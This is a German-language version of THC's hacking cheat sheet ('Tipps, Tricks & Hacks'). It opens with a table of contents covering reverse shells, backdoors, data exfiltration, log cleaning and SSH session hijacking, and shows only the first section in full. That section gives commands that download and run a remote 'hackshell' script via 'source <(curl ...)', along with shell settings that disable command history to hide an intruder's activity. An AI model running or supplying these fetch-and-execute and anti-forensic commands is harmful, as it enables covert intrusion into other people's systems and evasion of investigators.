THC's beliebteste Tipps, Tricks & Hacks (Spickzettel)
https://thc.org/tips
Eine Sammlung unserer Lieblingstricks. Viele dieser Tricks stammen nicht von uns. Wir sammeln sie lediglich.
Wir zeigen die Tricks 'wie sie sind' ohne jede Erklärung, warum sie funktionieren. Du musst Linux kennen, um zu verstehen, wie und warum sie funktionieren.
Hast du Tricks? Mach mit bei uns https://thc.org/ops
- Bash
- Richte eine Hack-Shell ein
- Verstecke deine Befehle
- Verstecke deine Befehlszeilenoptionen
- Verstecke eine Netzwerkverbindung
- Verstecke einen Prozess als Benutzer
- Verstecke einen Prozess als root
- Verstecke Skripte
- Verstecke vor cat
- Parallel ausführen mit separaten Logdateien
- SSH
- Fast unsichtbares SSH
- Mehrere Shells über eine SSH/TCP-Verbindung
- SSH-Tunnel
- SSH-Socks5-Tunnel
- SSH zu einem NATed Host
- SSH-Pivot via ProxyJump
- SSHD als Benutzer
- Netzwerk
- Hosts entdecken
- Tcpdump
- Tunnel und Weiterleitung
- Raw-TCP-Reverse-Ports
- HTTPS-Reverse-Forwards
- Verkehr mit iptables weiterleiten
- Ghost-IP / IP-Spoofing
- Verschiedenes
- Beliebiges Tool über Socks-Proxy nutzen
- Finde deine öffentliche IP-Adresse
- Erreichbarkeit aus der ganzen Welt prüfen
- Offene Ports prüfen/scannen
- Passwort-Hashes knacken
- Passwörter / Schlüssel brute-forcen
- Daten hoch-/runterladen/Exfiltration
- Datei-Encoding/Decoding
- Dateiübertragung per Ausschneiden & Einfügen
- Dateiübertragung mit tmux
- Dateiübertragung mit screen
- Dateiübertragung mit gs-netcat und sftp
- Dateiübertragung per HTTP
- Dateidownload ohne curl
- Dateiübertragung mit rsync
- Dateiübertragung zu öffentlichen Dump-Seiten
- Dateiübertragung per WebDAV
- Dateiübertragung zu Telegram
- Reverse Shell / Dumb Shell
- Reverse Shells
- mit gs-netcat (verschlüsselt)
- mit Bash
- mit cURL (verschlüsselt)
- mit cURL (Klartext)
- mit OpenSSL (verschlüsselt)
- mit remote.moe (verschlüsselt)
- ohne /dev/tcp
- mit Python
- mit Perl
- mit PHP
- Die Dumb Shell upgraden
- Reverse Shell zu einer pty-Shell upgraden
- Reverse Shell zu einer voll interaktiven Shell upgraden
- Reverse Shell mit socat (voll interaktiv)
- Backdoors
- gs-netcat
- sshx.io
- Kleinster SSHD-Backdoor
- Remote-Zugriff auf ein ganzes Netzwerk
- Kleinster PHP-Backdoor
- Kleinster Reverse-DNS-Tunnel-Backdoor
- Lokaler Root-Backdoor
- Selbstextrahierender Implant
- Host-Recon
- Shell-Hacks
- Dateien shreddern (sicheres Löschen)
- Das Datum einer Datei wiederherstellen
- Logdatei bereinigen
- Dateien vor einem Benutzer ohne root-Rechte verstecken
- Eine Datei unveränderbar machen
- Benutzer wechseln ohne sudo/su
- Payload verschleiern und verschlüsseln
- Backdoor ausrollen, ohne das Dateisystem zu berühren
- Krypto
- Schnelles zufälliges Passwort generieren
- Transportierbare verschlüsselte Linux-Dateisysteme
- cryptsetup
- EncFS
- Eine Datei verschlüsseln
- Session-Sniffing und -Hijacking
- Die SHELL-Sitzung eines Benutzers sniffern
- Alle SHELL-Sitzungen mit dtrace sniffern
- Alle SHELL-Sitzungen mit eBPF sniffern
- Die SSH- oder SSHD-Sitzung eines Benutzers mit strace sniffern
- Die ausgehende SSH-Sitzung eines Benutzers mit einem Wrapper-Skript sniffern
- Die ausgehende SSH-Sitzung eines Benutzers mit SSH-IT sniffern
- Eine laufende SSH-Sitzung hijacken / übernehmen
- VPN und Shells
- Wegwerf-Root-Server
- VPN/VPS-Anbieter
- OSINT-Intelligence-Gathering
- Sonstiges
- Werkzeuge des Handwerks
- Coole Linux-Befehle
- tmux-Spickzettel
- Nützliche Befehle
- Wie man ein Hacker wird
- Andere Seiten
1. Bash / Shell
1.i. Richte eine Hack-Shell (bash) ein:
Mache BASH weniger laut. Deaktiviert ~/.bash_history und viele andere Dinge.```sh
source <(curl -SsfL https://thc.org/hs)
Alternative URL:```sh
source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)
Und wenn es kein curl/wget gibt, verwende surl und (temporär) installiertes curl mit bin curl.```sh
source <(surl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)
Afterwards type bin curl to (temporarily) install curl (in memory).
HackShell kann viel mehr, aber am wichtigsten ist Folgendes:```sh
unset HISTFILE
[ -n "$BASH" ] && export HISTFILE="/dev/null"
export BASH_HISTORY="/dev/null"
export LANG=en_US.UTF-8
locale -a 2>/dev/null|grep -Fqim1 en_US.UTF || export LANG=en_US
export LESSHISTFILE=-
export REDISCLI_HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
TMPDIR="/tmp"
[ -d "/var/tmp" ] && TMPDIR="/var/tmp"
[ -d "/dev/shm" ] && TMPDIR="/dev/shm"
export TMPDIR
export PATH=".:${PATH}"
if [[ "$SHELL" == *"zsh" ]]; then
PS1='%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f '
else
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
fi
alias wget='wget --no-hsts'
alias vi="vi -i NONE"
alias vim="vim -i NONE"
alias screen="screen -ln"
TERM=xterm reset -I
stty cols 400 # paste this on its own before pasting the next line:
resize &>/dev/null || { stty -echo;printf "\e[18t"; read -t5 -rdt R;IFS=';' read -r -a a <<< "${R:-8;25;80}";[ "${a[1]}" -ge "${a[2]}" ] && { R="${a[1]}";a[1]="${a[2]}";a[2]="${R}";};stty sane rows "${a[1]}" cols "${a[2]}";}
# stty sane rows 60 cols 160
Wir verwenden anew häufig, und das ist eine schnelle Problemumgehung:```shell
xanew() { awk 'hit[$0]==0 {hit[$0]=1; print $0}'; }
which anew &>/dev/null || alias anew=xanew
Bonus-Tipp:
Jeder Befehl, der mit einem " " (Leerzeichen) beginnt, wird ebenfalls [nicht im Verlauf gespeichert](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces).```
$ id
1.ii. Befehl verstecken / Befehl daemonisieren